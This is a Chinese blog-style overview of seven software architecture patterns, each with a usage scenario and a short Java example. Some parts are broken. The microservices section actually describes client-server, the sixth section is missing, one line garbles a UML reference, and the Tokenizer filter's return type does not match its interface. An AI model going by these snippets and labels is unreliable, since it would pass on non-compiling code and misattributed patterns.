
静态类型强、结构清晰，便于表达层次与依赖。
社区资料丰富、语法易于理解。
与 UML 结合后，能直接在代码中体现组件之间的关系。 > UML 则是一种轻量级的 UML 语言，能快速表达出类关系、组件依赖、时序交互等关键架构视角。

架构模式一览

分层架构（Layered Architecture）
管道-过滤器架构（Pipe and Filter）
事件驱动架构（Event-Driven Architecture）
微内核架构（Microkernel Architecture）
微服务架构（Microservices Architecture）
客户端-服务器架构（Client-Server Architecture）
模型-视图-控制器（MVC）

1. 分层架构（Layered Architecture）

适用场景

企业应用系统（如 OA、ERP）
关注清晰职责划分与高内聚低耦合

系统分为多个逻辑层次，每一层只和紧邻的一层进行通信。

public class LoginController {
    private AuthService authService = new AuthService();
    public boolean login(String username, String password) {
        return authService.authenticate(username, password);
    }
}

public class AuthService {
    private UserRepository repo = new UserRepository();
    public boolean authenticate(String username, String password) {
        return repo.findUser(username).passwordMatches(password);
    }
}

2. 管道-过滤器架构（Pipe and Filter）

适用场景

图像处理、编译器、日志系统

数据流从一个过滤器流向下一个，每个过滤器对数据进行转换。

public interface Filter<T> {
    T process(T input);
}

public class Tokenizer implements Filter<String> {
    public List<String> process(String input) {
        return Arrays.asList(input.split(" "));
    }
}

3. 事件驱动架构（Event-Driven Architecture）

适用场景

高并发系统（如电商、消息推送）
系统解耦需求强的场景

组件通过发布和订阅事件进行通信，事件总线（或消息代理）作为中介。

public class EventBus {
    private Map<String, List<Consumer<Event>>> listeners = new HashMap<>();

    public void subscribe(String type, Consumer<Event> listener) {
        listeners.computeIfAbsent(type, k -> new ArrayList<>()).add(listener);
    }

    public void publish(Event event) {
        listeners.getOrDefault(event.getType(), List.of()).forEach(l -> l.accept(event));
    }
}

4. 微内核架构（Microkernel Architecture）

适用场景

插件化系统（如 IDE、浏览器）
功能可扩展、核心稳定的产品 > 系统核心负责最小可运行单元，其它功能通过插件机制扩展。

public interface Plugin {
    void initialize();
}

public class CoreEngine {
    List<Plugin> plugins = new ArrayList<>();

    private void registerPlugin(Plugin plugin) {
        plugins.add(plugin);
        plugin.initialize();
    }
}

5. 微服务架构（Microservices Architecture）

适用场景

Web 应用、桌面应用 > 客户端负责用户交互，服务器负责业务处理与数据持久化。

@RestController
public class HelloController {
    @GetMapping("/hello")
    public String hello() {
        return "Hello from Server";
    }
}

7. 模型-视图-控制器（MVC）

适用场景

Web 应用框架，如 Spring MVC

控制器负责业务流程，模型负责数据结构，视图负责展示逻辑。

@Controller
public class BlogController {
    @GetMapping("/blog")
    public String showBlog(Model model) {
        model.addAttribute("title", "技术小屋");
        return "blogView";
    }
}

架构不是写给架构师看的高大图纸，它是代码之上的思想，是系统长期演化的骨骼。

我以 Java 和 UML 为镜，拆解每一种架构模式的精髓, 从分层到微服务，从事件驱动到插件机制，这些不是孤立的概念，而是你我在开发路上不断遇见的选择题、权衡题、甚至是哲学题。

🌟 架构之路，没有一劳永逸，只有适配场景与团队认知的最优解。希望这篇文章不仅让你看懂了结构图，也激起你内心对架构「为何如此设计」的怀疑与思考。